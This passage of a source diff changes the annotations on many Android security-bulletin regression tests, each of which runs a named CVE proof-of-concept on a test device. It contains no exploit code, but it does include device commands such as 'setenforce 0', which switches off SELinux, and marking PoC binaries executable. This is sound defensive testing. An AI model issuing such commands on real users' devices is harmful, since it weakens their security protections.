+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
      *  b/27661749
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-06")
+    @AsbSecurityTest(cveBugId = 27661749)
     public void testPocCVE_2016_2482() throws Exception {
         AdbUtils.runPocAssertNoCrashes("CVE-2016-2482", getDevice(), "mediaserver");
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 835c1cf..d598252 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
      *  b/28740702
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 28740702)
     public void testPocCVE_2016_3818() throws Exception {
         AdbUtils.runPoc("CVE-2016-3818", getDevice(), 60);
     }
@@ -38,7 +38,7 @@
      *  b/27890802
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 27890802)
     public void testPocCVE_2016_3746() throws Exception {
         AdbUtils.runPocAssertNoCrashes("CVE-2016-3746", getDevice(), "mediaserver");
     }
@@ -47,7 +47,7 @@
      *  b/28557020
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 28557020)
     public void testPocCVE_2014_9803() throws Exception {
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
     }
@@ -56,7 +56,7 @@
      * b/27903498
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 27903498)
     public void testPocCVE_2016_3747() throws Exception {
         AdbUtils.runPocAssertNoCrashes("CVE-2016-3747", getDevice(), "mediaserver");
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index a253619..e3f9906 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
      * b/27773913
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-09")
+    @AsbSecurityTest(cveBugId = 27773913)
     public void testPocCVE_2016_2471() throws Exception {
         AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index d1550d2..c19333a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      *  b/30204103
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-10")
+    @AsbSecurityTest(cveBugId = 30204103)
     public void testPocCVE_2016_3913() throws Exception {
         AdbUtils.runPocAssertNoCrashes("CVE-2016-3913", getDevice(), "mediaserver");
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index 60a15e6..5012920 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      *  b/29149404
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 72498387)
     public void testPocCVE_2012_6702() throws Exception {
         AdbUtils.runCommandLine("logcat -c", getDevice());
         AdbUtils.runPoc("CVE-2012-6702", getDevice(), 60);
@@ -42,7 +42,7 @@
      *  b/30904789
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 30904789)
     public void testPocCVE_2016_6730() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
@@ -53,7 +53,7 @@
      *  b/30906023
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 30906023)
     public void testPocCVE_2016_6731() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
@@ -64,7 +64,7 @@
      *  b/30906599
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 30906599)
     public void testPocCVE_2016_6732() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
@@ -75,7 +75,7 @@
      *  b/30906694
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 30906694)
     public void testPocCVE_2016_6733() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
@@ -86,7 +86,7 @@
      *  b/30907120
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 30907120)
     public void testPocCVE_2016_6734() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
@@ -97,7 +97,7 @@
      *  b/30907701
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 30907701)
     public void testPocCVE_2016_6735() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
@@ -108,7 +108,7 @@
      *  b/30953284
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 30953284)
     public void testPocCVE_2016_6736() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
index 4e2031b..392b11a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,7 +31,7 @@
      *  b/31796940
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-12")
+    @AsbSecurityTest(cveBugId = 31796940)
     public void testPocCVE_2016_8406() throws Exception {
         assertNotKernelPointer(() -> {
             String cmd = "ls /sys/kernel/slab 2>/dev/null | grep nf_conntrack";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index a7ae370..0773716 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,7 +31,7 @@
      *  b/31797770
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 31797770)
     public void testPocCVE_2016_8425() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
             AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
@@ -42,7 +42,7 @@
      *  b/31799206
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 31799206)
     public void testPocCVE_2016_8426() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
             AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
@@ -53,7 +53,7 @@
      *  b/31799885
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 31799885)
     public void testPocCVE_2016_8427() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
               containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
@@ -65,7 +65,7 @@
      *  b/31993456
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 31993456)
     public void testPocCVE_2016_8428() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
@@ -76,7 +76,7 @@
      *  b/32160775
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32160775)
     public void testPocCVE_2016_8429() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
@@ -87,7 +87,7 @@
      *  b/32225180
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 31801045)
     public void testPocCVE_2016_8430() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
             AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
@@ -98,7 +98,7 @@
      *  b/32402179
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32402179)
     public void testPocCVE_2016_8431() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
@@ -109,7 +109,7 @@
      *  b/32447738
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32447738)
     public void testPocCVE_2016_8432() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
@@ -120,7 +120,7 @@
      *  b/32125137
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32125137)
     public void testPocCVE_2016_8434() throws Exception {
         if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
             // This poc is very verbose so we ignore the output to avoid using a lot of memory.
@@ -132,7 +132,7 @@
      *  b/31668540
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 31668540)
     public void testPocCVE_2016_8460() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
@@ -144,7 +144,7 @@
      *  b/32255299
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32255299)
     public void testPocCVE_2017_0386() throws Exception {
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-0386", getDevice(), 60);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index 3f94a62..1fd4bf9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
      *  b/32799236
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-02")
+    @AsbSecurityTest(cveBugId = 32799236)
     public void testPocCVE_2017_0426() throws Exception {
         AdbUtils.runCommandLine("logcat -c", getDevice());
         AdbUtils.runPoc("CVE-2017-0426", getDevice(), 60);
@@ -41,7 +41,7 @@
      *  b/32706020
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-02")
+    @AsbSecurityTest(cveBugId = 32706020)
     public void testPocCVE_2017_0415() throws Exception {
         AdbUtils.runPocAssertNoCrashes("CVE-2017-0415", getDevice(), "mediaserver");
     }
@@ -50,7 +50,7 @@
      *  b/31799863
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-02")
+    @AsbSecurityTest(cveBugId = 31799863)
     public void testPocCVE_2016_8482() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 3dacc96..50093b8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -18,7 +18,7 @@
 
 import java.util.concurrent.Callable;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -32,7 +32,7 @@
      *  b/31824853
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 31824853)
     public void testPocCVE_2016_8479() throws Exception {
         if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
              AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), TIMEOUT_NONDETERMINISTIC);
@@ -46,7 +46,7 @@
      *  b/33940449
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33940449)
     public void testPocCVE_2017_0508() throws Exception {
         if (containsDriver(getDevice(), "/dev/ion") &&
             containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -61,7 +61,7 @@
      *  b/33899363
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33899363)
     public void testPocCVE_2017_0333() throws Exception {
         if (containsDriver(getDevice(), "/dev/dri/renderD128")) {
             AdbUtils.runPocNoOutput("CVE-2017-0333", getDevice(), 30);
@@ -74,7 +74,7 @@
      *  b/33245849
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33245849)
     public void testPocCVE_2017_0334() throws Exception {
         if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
             String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
@@ -104,7 +104,7 @@
      * b/32707507
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 32707507)
     public void testPocCVE_2017_0479() throws Exception {
         AdbUtils.runPocAssertNoCrashes("CVE-2017-0479", getDevice(), "audioserver");
     }
@@ -113,7 +113,7 @@
      *  b/33178389
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33178389)
     public void testPocCVE_2017_0490() throws Exception {
         String bootCountBefore =
                 AdbUtils.runCommandLine("settings get global boot_count", getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index f5c8fe3..36f921c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      * b/32342065
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-04")
+    @AsbSecurityTest(cveBugId = 32342065)
     public void testPocCVE_2017_0553() throws Exception {
       // Error code of 139 represents segmentation fault
       getDevice().executeShellCommand("chmod +x /data/local/tmp/CVE-2017-0553");
@@ -42,7 +42,7 @@
      * b/72460737
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-04")
+    @AsbSecurityTest(cveBugId = 34469585)
     public void testPocCVE_2014_3145() throws Exception {
       assertFalse("VULNERABLE DEVICE DETECTED",
                   AdbUtils.runPocCheckExitCode("CVE-2014-3145", getDevice(), 60));
@@ -52,7 +52,7 @@
      * b/32813456
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-04")
+    @AsbSecurityTest(cveBugId = 32813456)
     public void testPocCVE_2016_10229() throws Exception {
       String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
       assertNotMatchesMultiLine("OVERWRITE", out);
@@ -62,7 +62,7 @@
      * b/33621647
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-04")
+    @AsbSecurityTest(cveBugId = 33621647)
     public void testPocCVE_2017_0477() throws Exception {
         AdbUtils.pushResource("/CVE-2017-0477.gif", "/data/local/tmp/CVE-2017-0477.gif",
                 getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index 797e58d..fcedfb9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -19,7 +19,7 @@
 import java.util.Arrays;
 import java.util.concurrent.Callable;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -33,7 +33,7 @@
      * CVE-2016-5862
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-05")
+    @AsbSecurityTest(cveBugId = 35399803)
     public void testPocCVE_2016_5862() throws Exception {
         if (containsDriver(getDevice(), "/dev/snd/controlC0")) {
             AdbUtils.runPocNoOutput("CVE-2016-5862",getDevice(), 60);
@@ -44,7 +44,7 @@
      * CVE-2016-5867
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-05")
+    @AsbSecurityTest(cveBugId = 35400602)
     public void testPocCVE_2016_5867() throws Exception {
         if (containsDriver(getDevice(), "/dev/snd/controlC0")) {
             AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2016-5867", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
index 1f7e5e9..a3609a24 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      * b/36392138
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-06")
+    @AsbSecurityTest(cveBugId = 36392138)
     public void testPocCVE_2017_0647() throws Exception {
         AdbUtils.pushResource("/CVE-2017-0647.zip", "/data/local/tmp/CVE-2017-0647.zip",
                 getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
index d3a086a..f9309e5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      * b/35443725
      **/
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 35443725)
     public void testPocCVE_2016_2109() throws Exception {
       assertFalse("Overallocation detected!",
           AdbUtils.runPocCheckExitCode("CVE-2016-2109",
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
index de7381e..dbb50bd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      * b/63852675
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 63852675)
     public void testPocCve_2017_6983() throws Exception {
       // Error code of 139 represents segmentation fault
       assertFalse("Segfault found",
@@ -64,7 +64,7 @@
      * b/36590192
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 38195738)
     public void testPocBug_38195738() throws Exception {
         if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
             AdbUtils.runPocNoOutput("Bug-38195738", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index e592d0f..1686561 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      * b/36075131
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-11")
+    @AsbSecurityTest(cveBugId = 36075131)
     public void testPocCVE_2017_0859() throws Exception {
         AdbUtils.runCommandLine("logcat -c", getDevice());
         AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 71607c8..160ec27 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      * b/38045794
      */
     @Test
-    @SecurityTest(minPatchLevel = "2017-12")
+    @AsbSecurityTest(cveBugId = 38045794)
     public void testPocCVE_2017_6262() throws Exception {
         if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
             AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), TIMEOUT_NONDETERMINISTIC);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index 377e219..1730fef 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      * b/68953950
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-02")
+    @AsbSecurityTest(cveBugId = 68953950)
     public void testPocCVE_2017_13232() throws Exception {
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPocNoOutput("CVE-2017-13232", getDevice(), 60);
@@ -44,7 +44,7 @@
      *  b/65853158
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-02")
+    @AsbSecurityTest(cveBugId = 65853158)
     public void testPocCVE_2017_13273() throws Exception {
         AdbUtils.runCommandLine("dmesg -c" ,getDevice());
         AdbUtils.runCommandLine("setenforce 0",getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index d5e2b90..0899f28 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      * b/71389378
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-03")
+    @AsbSecurityTest(cveBugId = 71389378)
     public void testPocCVE_2017_13253() throws Exception {
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-13253", getDevice(), 300);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
index dc41d7c..17ada80 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,7 +31,7 @@
      * a race condition
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-04")
+    @AsbSecurityTest(cveBugId = 69683251)
     public void testPocCVE_2017_13286() throws Exception {
         LaunchSomeWhere.launchSomeWhere("CVE_2017_13286", getDevice());
     }
@@ -41,7 +41,7 @@
      * Does not require root but must be a hostside test to avoid a race condition
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-04")
+    @AsbSecurityTest(cveBugId = 69634768)
     public void testPocCVE_2017_13288() throws Exception {
         LaunchSomeWhere.launchSomeWhere("CVE_2017_13288", getDevice());
     }
@@ -51,7 +51,7 @@
      * Does not require root but must be a hostside test to avoid a race condition
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-04")
+    @AsbSecurityTest(cveBugId = 70398564)
     public void testPocCVE_2017_13289() throws Exception {
         LaunchSomeWhere.launchSomeWhere("CVE_2017_13289", getDevice());
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
index e3128f1..320f997 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,7 +31,7 @@
      * condition
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-05")
+    @AsbSecurityTest(cveBugId = 70721937)
     public void testPocCVE_2017_13315() throws Exception {
         LaunchSomeWhere.launchSomeWhere("CVE_2017_13315", getDevice());
     }
@@ -41,7 +41,7 @@
      * Does not require root but must be a hostside test to avoid a race condition
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-05")
+    @AsbSecurityTest(cveBugId = 73085795)
     public void testPocCVE_2017_13312() throws Exception {
         LaunchSomeWhere.launchSomeWhere("CVE_2017_13312", getDevice());
     }
